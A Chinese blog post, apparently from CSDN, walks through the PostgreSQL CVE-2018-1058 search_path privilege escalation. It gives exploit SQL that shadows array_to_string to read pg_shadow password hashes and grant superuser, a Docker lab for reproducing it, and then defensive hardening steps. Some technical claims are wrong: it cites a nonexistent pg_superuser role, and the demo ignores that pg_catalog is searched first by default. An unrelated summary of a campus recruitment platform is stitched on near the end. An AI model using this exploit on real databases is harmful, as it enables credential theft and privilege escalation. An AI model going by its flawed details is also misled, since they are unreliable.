深入解析PostgreSQL CVE-2018-1058提权漏洞:从原理到实战防御

1. 从一次“意外”的数据库提权说起

几年前,我在给一个客户做安全审计的时候,遇到一件挺有意思的事儿。客户的业务系统用的是PostgreSQL数据库,权限管理做得还算规范,普通应用账号和超级管理员账号是分开的。但就在一次常规的数据库备份操作后,他们发现一个普通应用账号的权限突然变大了,甚至能读取一些原本没权限看的敏感表。排查了半天,最后定位到一个叫CVE-2018-1058的漏洞。这个漏洞的狡猾之处在于,它不需要攻击者去爆破密码或者找什么未授权访问入口,它利用的是PostgreSQL一个非常基础但又容易被忽略的机制——搜索路径(search_path)public模式的默认权限。

简单来说,这个漏洞就像一个“陷阱”。攻击者(一个低权限的普通数据库用户)可以在一个叫public的公共区域,提前埋下一个和系统内置函数同名的“山寨”函数。当数据库的超级用户(比如postgres)在执行某些看似正常的操作时,比如备份数据库(pg_dump),系统可能会“走错路”,不小心执行了攻击者埋下的那个恶意函数。这个恶意函数一旦被执行,就能帮攻击者“办点事”,比如把他的权限提升到和超级用户一样,或者直接把超级用户的密码哈希偷出来。

听起来是不是有点像“李鬼冒充李逵”?这个漏洞影响的范围可不小,从PostgreSQL 9.3到10版本都受影响。很多开发者和运维朋友可能觉得,只要数据库密码够复杂、防火墙规则够严就安全了,但这个漏洞恰恰绕过了这些常规防御,从数据库内部逻辑的“信任关系”下手。今天,我就带大家把这个漏洞掰开揉碎了讲清楚,从它到底是怎么产生的,到攻击者如何一步步下套,最后再聊聊咱们作为防御方,该怎么扎紧篱笆,把这个风险彻底堵上。无论你是开发者、运维还是安全研究员,理解这个漏洞都能帮你更好地守护你的数据库。

2. 漏洞核心原理:Public模式与Search_path的“信任危机”

要弄懂CVE-2018-1058,你得先理解PostgreSQL里两个关键概念:模式(Schema)搜索路径(Search Path)。你可以把一个数据库(Database)想象成一个大楼,模式就是大楼里不同的楼层或者功能区。比如,一楼是公共大厅(public模式),二楼是A公司的办公区(schema_a模式),三楼是B公司的办公区(schema_b模式)。

默认情况下,当你创建一个新数据库时,PostgreSQL会自动创建一个名叫public的模式。而且,在早于11版本的PostgreSQL中,任何用户(包括普通用户)都被默认允许在public模式里创建对象,比如表、函数、视图。这就好比公共大厅里,任何人都可以临时放个箱子、贴张告示。

现在来说搜索路径。当你在SQL语句里写SELECT * FROM my_table;,却没有指明my_table在哪个“楼层”时,数据库怎么知道去哪找呢?它就靠search_path这个配置。search_path是一个有序的模式名列表。数据库会按照这个列表的顺序,逐个“楼层”去寻找my_table这张表。默认的search_path通常是"$user", public。这里的"$user"是一个变量,会自动替换成当前登录的用户名同名的模式,如果找不到,就继续找public模式。

漏洞的导火索就在这里:超级用户(比如postgres)在执行某些操作时,其search_path可能会被影响,使得public模式被优先搜索。而攻击者,作为一个低权限用户,恰恰可以在public模式里“埋雷”。

2.1 攻击者的“李鬼”把戏

攻击思路非常清晰:在public模式里,创建一个与PostgreSQL系统内置函数或操作符同名的恶意函数。举个例子,系统里有一个常用的、受信任的函数叫public.array_to_string。攻击者可以在public模式里也创建一个名叫array_to_string的函数。

当超级用户执行一个涉及array_to_string的操作时(这个操作可能隐藏在某个复杂的查询或像pg_dump这样的工具中),如果当时的环境下search_pathpublic模式排在系统模式(如pg_catalog,真正存放内置函数的地方)前面,数据库就会优先找到并执行攻击者在public里创建的那个“李鬼”函数,而不是真正的系统函数。

这个“李鬼”函数内部,攻击者可以写入任何他能执行的SQL代码。由于这个函数是被超级用户的会话上下文触发的,它将以超级用户的权限运行!这就完成了权限的跨越。攻击者通常在里面做两件事:一是直接给自己提升权限(比如把自己加入pg_superuser角色),二是窃取敏感信息(比如读取pg_shadow系统表获取其他用户的密码哈希)。

我打个比方:这就像公司CEO(超级用户)有一个习惯,每天早晨让秘书去“一楼大厅的打印机”(一个通用函数)打印日程。攻击者(普通员工)偷偷把一楼大厅的打印机换成了一个外形一模一样,但内部连接了自己电脑的设备。第二天,CEO的秘书又来打印,结果打印指令和敏感数据就发到了攻击者的电脑上。整个过程,CEO和秘书都没有违反任何规定,只是信任了“一楼大厅的打印机”这个默认的位置。

3. 攻击链深度拆解:一次完整的“偷天换日”

光讲原理可能还有点抽象,咱们把攻击者具体每一步怎么操作,以及为什么能成功,彻底拆解一遍。你会发现,整个过程就像一套精心设计的组合拳。

3.1 第一阶段:潜伏与布防

首先,攻击者需要获得一个最低限度的数据库访问权限。这并不难,可能是一个Web应用的数据查询权限,一个报表系统的只读账号,甚至是一个配置错误的允许连接的外部服务账号。这个账号的权限很低,可能只有CONNECT到某个数据库和CREATE权限(在public模式上)。

  1. 侦察环境:攻击者连接数据库后,会先查看自己的权限和数据库版本,确认是否在受影响范围(9.3-10)。他会查询current_usercurrent_setting('search_path'),了解自己的身份和当前的搜索路径。

  2. 寻找“替身”目标:攻击者需要选择一个合适的系统函数作为“替身”。这个函数需要满足几个条件:在超级用户执行某些常见操作时会被调用;函数名在public模式下可以被创建(即没有同名对象冲突);函数的行为可以被恶意利用。像array_to_stringlowerupper等这类常用文本处理函数,或者某些类型转换函数,都是常见目标。

  3. 铸造“李鬼”函数:这是最关键的一步。攻击者在public模式下创建恶意函数。这个函数的名称、参数类型、返回值类型必须和真实的系统函数完全一致,这样才能成功“冒充”。

    我们来看一个真实的恶意函数例子,它冒充的是array_to_string(anyarray, text)

    CREATE FUNCTION public.array_to_string(anyarray, text) RETURNS TEXT AS $$
    BEGIN
        -- 恶意操作1:尝试提升自身权限
        EXECUTE 'GRANT pg_superuser TO ' || quote_ident(current_user);
        -- 恶意操作2:窃取超级用户密码哈希(示例,实际需根据情况调整)
        -- EXECUTE 'INSERT INTO public.stolen_hashes SELECT usename, passwd FROM pg_shadow WHERE usename = ''postgres''';
        -- 最后,调用真正的系统函数,避免破坏原操作导致立即被发现
        RETURN pg_catalog.array_to_string($1, $2);
    END;
    $$ LANGUAGE plpgsql SECURITY DEFINER;
    

    注意SECURITY DEFINER这个关键字,它表示函数将以创建者的权限运行。但这里有个关键陷阱:在CVE-2018-1058的利用链中,我们通常不依赖SECURITY DEFINER,因为我们的目标是让超级用户来执行它。我们创建的是普通函数,但当超级用户的会话执行它时,它自然就拥有了超级权限。上面例子中我加上SECURITY DEFINER是为了更清晰地展示意图,在实际漏洞利用中,攻击者更可能创建VOLATILE函数并嵌入如dblink这样的扩展进行网络外联,偷取密码哈希。

3.2 第二阶段:触发与收割

“陷阱”设好了,怎么让超级用户踩上去呢?攻击者不需要去主动攻击,他只需要等待。超级用户在日常运维中很多操作都可能触发。

  1. 等待时机:最常见的触发场景是数据库备份。超级用户使用pg_dump命令导出数据库时,pg_dump为了完整保存数据,会遍历并导出所有对象,包括函数体。在导出过程中,它需要解析和重写函数定义,这个过程中就可能调用到像array_to_string这样的函数来处理某些内部数据(比如数组类型的默认值)。如果此时pg_dump进程的search_path设置使得public模式优先,恶意函数就被触发了。
  2. 另一种触发方式:超级用户执行一些复杂的查询或维护脚本,这些脚本中可能隐式调用了被“污染”的函数。甚至有些第三方管理工具在连接后执行初始化查询时也可能中招。
  3. 收割成果:一旦恶意函数被超级用户会话执行,里面的恶意SQL就会以超级权限运行。如果是提权语句,攻击者的账号瞬间就拥有了至高权限。如果是窃密语句,密码哈希等信息可能被写入一张攻击者预先创建好的表,或者通过dblinkCOPY TO PROGRAM等功能发送到攻击者控制的服务器。

我当年复现这个漏洞时,用的是dblink外联的方式。攻击者在public下创建恶意函数,函数内部使用dblink_connect尝试连接到一个由攻击者控制的、在监听状态的PostgreSQL服务(甚至是简单的nc监听器),并将窃取到的pg_shadow表中的密码哈希作为连接参数的一部分发送出去。这样,攻击者在自己的监听端就能收到密码哈希,然后进行离线破解。这种方式隐蔽且不需要在目标数据库留下明显的日志(如新建表)。

4. 实战复现:亲手搭建漏洞环境与利用

理解了原理和攻击链,最好的巩固方式就是亲手复现一遍。别担心,我会用最详细的方式带你走通整个过程。我们使用Docker来快速搭建一个包含漏洞的PostgreSQL环境,这安全又方便。

4.1 环境准备与搭建

首先,确保你的机器上安装了Docker和Docker Compose。我们创建一个简单的docker-compose.yml文件来定义漏洞环境。

version: '3'
services:
  postgres:
    image: postgres:9.6  # 使用受影响版本的镜像,这里以9.6为例
    container_name: pg_cve_2018_1058
    environment:
      POSTGRES_USER: postgres
      POSTGRES_PASSWORD: super_secret_password  # 超级用户密码
      POSTGRES_DB: vulndb
    ports:
      - "5432:5432"
    # 启动时创建一个普通用户
    command: >
      sh -c "
      docker-entrypoint.sh postgres &
      sleep 5
      psql -U postgres -c \"CREATE USER vulnuser WITH PASSWORD 'user_password';\" 
      psql -U postgres -c \"GRANT CONNECT ON DATABASE vulndb TO vulnuser;\"
      psql -U postgres -c \"GRANT CREATE ON SCHEMA public TO vulnuser;\"
      wait
      "

这个配置做了几件事:启动一个PostgreSQL 9.6的容器;设置超级用户postgres的密码;创建一个名为vulndb的数据库;创建一个普通用户vulnuser,并授予它连接vulndb数据库和在public模式下的创建权限。这模拟了一个典型的、权限设置稍显宽松的场景。

在终端中,进入存放这个YAML文件的目录,运行:

docker-compose up -d

等待片刻,用docker-compose logs查看日志,确认数据库初始化完成且普通用户创建成功。

4.2 发动攻击:创建恶意函数

现在,我们扮演攻击者,使用普通用户vulnuser的身份连接数据库:

psql -h localhost -p 5432 -U vulnuser -d vulndb
# 输入密码:user_password

连接成功后,我们先确认一下环境。执行\du可以查看用户角色,确认vulnuser是普通用户。执行SHOW search_path;可以看到当前搜索路径。

接下来,创建我们的恶意函数。这次我们模拟一个更真实的场景:窃取超级用户的密码哈希。我们将使用dblink扩展(需要提前安装,但很多默认安装包含,或攻击者可尝试创建)。为了演示,我们假设dblink可用。我们在public模式下创建一个与系统函数同名的函数。

-- 首先,尝试创建dblink扩展(如果权限允许,或者假设已存在)
-- CREATE EXTENSION IF NOT EXISTS dblink;

-- 关键:在public模式创建恶意函数
CREATE OR REPLACE FUNCTION public.array_to_string(anyarray, text)
RETURNS TEXT AS
$$
DECLARE
    stolen_hash TEXT;
BEGIN
    -- 窃取postgres用户的密码哈希(md5格式)
    SELECT passwd INTO stolen_hash FROM pg_catalog.pg_shadow WHERE usename = 'postgres';
    
    -- 为了演示,我们简单地将哈希输出到服务器日志(实际攻击可能外联)
    RAISE NOTICE 'STOLEN HASH: %', stolen_hash;
    
    -- 也可以尝试执行提权操作(这里需要更复杂的上下文,仅作示例)
    -- EXECUTE 'ALTER USER vulnuser WITH SUPERUSER;';
    
    -- 最后,调用真正的系统函数,确保原功能正常,避免怀疑
    RETURN pg_catalog.array_to_string($1, $2);
END;
$$ LANGUAGE plpgsql;

执行上述SQL。现在,一个“李鬼”函数已经静静地躺在了public模式里。

4.3 等待与触发:模拟超级用户操作

现在,我们切换到超级用户视角。打开另一个终端窗口,用超级用户postgres登录:

psql -h localhost -p 5432 -U postgres -d vulndb
# 输入密码:super_secret_password

作为超级用户,我们执行一个可能会触发array_to_string函数的操作。一个经典的、能稳定触发漏洞的操作是使用pg_dump。但在psql里,我们可以模拟一个更直接的场景:执行一个会隐式调用该函数的查询。

首先,我们检查一下当前超级用户的search_path。在psql中执行SHOW search_path;。默认可能是"$user", public。为了演示漏洞,我们可能需要临时调整,让public出现在pg_catalog前面,或者确保函数调用没有明确指定模式。但很多内置操作在调用函数时,如果函数名是未限定的(即没有schema.funcname),且public在路径中,就可能中招。

让我们创建一个简单的测试表来触发:

-- 用超级用户创建一个包含数组字段和默认值的表
CREATE TABLE super_user_table (
    id SERIAL PRIMARY KEY,
    tags TEXT[] DEFAULT ARRAY['test', 'array']
);

-- 尝试查询这个表,某些内部格式化过程可能会调用array_to_string
-- 但更直接的方式是,模拟一个调用该函数的操作
SELECT array_to_string(ARRAY['a','b','c'], ',');

当你执行最后一句SELECT时,观察输出。如果漏洞成功触发,你应该能在PostgreSQL的服务器日志中看到我们RAISE NOTICE输出的那条包含密码哈希的信息。查看Docker容器日志:

docker-compose logs postgres | grep "STOLEN HASH"

如果你看到了类似STOLEN HASH: md5xxxxxxxxxxxxxxxxxxxxxxxxxx的输出,那么恭喜(或者说,警报拉响),漏洞复现成功!超级用户在执行一个看似无害的操作时,执行了攻击者埋下的代码,并泄露了敏感信息。

在实际攻击中,攻击者不会用RAISE NOTICE这样高调的方式,而是通过dblink将哈希悄无声息地发送到远程服务器,或者写入一个隐蔽的表。

5. 企业级防御方案:从根源上堵住漏洞

复现漏洞是为了更好地防御。知道了攻击者怎么玩,咱们就能有针对性地把路堵死。针对CVE-2018-1058,防御的核心思路就两条:收紧public模式的权限严格控制search_path。下面我分享几种从简单到深入、适合不同规模企业的防御方案。

5.1 立即生效的紧急加固措施

如果你怀疑你的数据库可能存在风险,或者刚刚了解到这个漏洞,可以立即执行以下命令,这些命令影响范围广,能快速降低风险。

措施一:收回Public模式的CREATE权限 这是最直接、最有效的一步。执行这条命令,将禁止所有非超级用户在public模式下创建任何新对象(表、函数、视图等)。

-- 以超级用户身份,在需要保护的每个数据库中执行
\c your_database_name;
REVOKE CREATE ON SCHEMA public FROM PUBLIC;

这里的PUBLIC是一个特殊的角色,代表所有用户。执行后,普通用户再尝试在public下创建对象就会收到权限错误。注意:这可能会影响一些依赖在public模式创建对象的遗留应用或脚本,执行前请评估。对于新部署的数据库,强烈推荐一开始就执行此操作。

措施二:为现有用户设置安全的search_path 确保所有用户的默认search_path不包含public,或者将public放在pg_catalog之后。最安全的做法是设置为以用户同名模式开头。

-- 为特定用户修改(例如用户 ‘app_user’)
ALTER ROLE app_user SET search_path = "$user", pg_catalog;

-- 你也可以通过查询pg_roles,批量生成修改语句
SELECT 'ALTER ROLE ' || rolname || ' SET search_path = "$user", pg_catalog;'
FROM pg_roles
WHERE rolname NOT LIKE 'pg_%'; -- 排除系统角色

pg_catalog(系统模式)显式加入search_path并置于public之前,可以确保在未指定模式时,系统内置函数优先被找到。

5.2 面向生产的深度防御策略

紧急措施治标,要治本还需要从架构和管理上入手。

策略一:严格的模式使用规范

  • 废除public模式的使用:在新项目中,可以考虑完全不用public模式。为每个应用或服务创建独立的模式(schema),并将对应的数据库用户默认的search_path设置为该专用模式。
  • 权限隔离:遵循最小权限原则。应用用户只能访问其专属的模式。使用CREATE SCHEMA app_schema AUTHORIZATION app_user;,然后设置app_usersearch_pathapp_schema, pg_catalog。彻底杜绝跨模式污染的可能性。

策略二:配置层面全局管控 在PostgreSQL的主配置文件postgresql.conf中,可以设置全局的默认search_path。这会影响所有新建的会话。

# 在postgresql.conf 中添加或修改
search_path = '"$user", pg_catalog'

修改后需要重启PostgreSQL服务或让配置重载生效。这确保了即使某个用户的search_path被意外修改,新会话也会继承这个更安全的默认值。

策略三:代码与运维规范

  • 函数调用始终使用限定名:在编写SQL脚本、应用代码或存储过程时,养成好习惯,永远使用完整的模式限定名来调用函数和操作符。例如,总是写pg_catalog.array_to_string(...),而不是array_to_string(...)。这样就从根源上切断了搜索路径劫持的可能。
  • 审慎使用SECURITY DEFINER函数SECURITY DEFINER函数虽然方便,但它以定义者的权限运行,如果定义者权限过高且函数体不安全,会引入风险。确保这类函数定义在受信任的模式下,并且其search_path在创建时被显式设置,例如CREATE FUNCTION ... SET search_path = pg_catalog;
  • 定期审计:定期运行审计查询,检查public模式中是否存在非预期的、尤其是与系统对象同名的函数。
    SELECT nspname, proname, proowner::regrole
    FROM pg_proc p JOIN pg_namespace n ON p.pronamespace = n.oid
    WHERE nspname = 'public'
    AND proname IN (SELECT proname FROM pg_proc WHERE pronamespace = 'pg_catalog'::regnamespace);
    

5.3 针对云托管数据库的特别提醒

如果你使用的是AWS RDS、Google Cloud SQL、Azure Database for PostgreSQL等云服务,情况略有不同。云服务商通常已经对默认配置进行了一些安全加固。例如,某些服务可能在创建数据库时默认已经收回了public模式的CREATE权限。但是,你仍然需要:

  1. 主动检查:登录你的云数据库实例,运行\dn+ public查看public模式的权限,运行SHOW search_path;查看默认路径。
  2. 利用云平台的安全工具:大多数云平台都提供漏洞评估或安全中心功能,定期扫描数据库配置,确保其符合最佳实践。
  3. 遵循云平台的最佳实践指南:AWS、GCP等都有详细的PostgreSQL安全白皮书,其中通常会包含针对此类漏洞的防护建议,务必阅读并实施。

防御CVE-2018-1058这类漏洞,本质上是一场关于“信任”和“默认值”的安全博弈。PostgreSQL的强大和灵活带来了一些默认设置上的便利性风险。作为管理员,我们的任务就是将这种便利性带来的风险,通过明确的权限划分和路径配置,转化为可控、可审计的安全状态。从我处理过的多起相关案例来看,只要按照上述方案进行系统性地加固,这个漏洞的威胁完全可以被消除。安全往往就藏在这些细节配置里,多花一点时间理解并收紧这些配置,远比事后补救要轻松得多。

内容概要:本文详细介绍了一个基于Python的校园招聘平台的设计与实现,旨在通过信息化手段升校园招聘的效率与精准度。平台采用Python主流框架(如Django/Flask)构建,涵盖用户限管理、招聘与简历数据建模、智能匹配推荐、日志监控与统计分析等核心模块。系统支持学生、企业、就业部门等多角色协同,通过结构化数据模型和业务流程控制,实现了岗位发布、简历投递、状态流转、限校验等功能,并结合TF-IDF与余弦相似度算法实现简历与岗位的智能匹配。代码示例展示了用户角色模型、企业岗位模型、简历分表设计、投递状态机、限装饰器及推荐服务等关键实现,体现了系统的可扩展性与安全性设计。; 适合人群:具备Python Web开发基础,熟悉Django或Flask框架,有一定数据库设计和前后端交互经验的开发者,尤其是从事教育信息化、招聘系统开发或校园服务平台建设的研发人员;也适合计算机相关专业高年级本科生或研究生作为毕业设计参考。; 使用场景及目标:① 构建高校内部统一的校园招聘管理系统,替代传统低效的线下招聘模式;② 实现学生与企业岗位的智能匹配与个性化推荐,升人岗匹配效率;③ 为企业和高校就业部门供数据驱动的招聘分析与决策支持;④ 学习多角色限控制、状态机设计、ORM建模、缓存与异步任务等实际开发技巧。; 阅读建议:此资源以实际项目为导向,不仅供完整模型设计与代码片段,还深入剖析了系统架构与业务逻辑。建议读者结合代码示例搭建本地开发环境,动手实践模型定义、API接口开发与推荐算法集成,并重点关注限控制、数据安全与性能优化等关键设计,以全面升全栈开发与系统设计能力。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值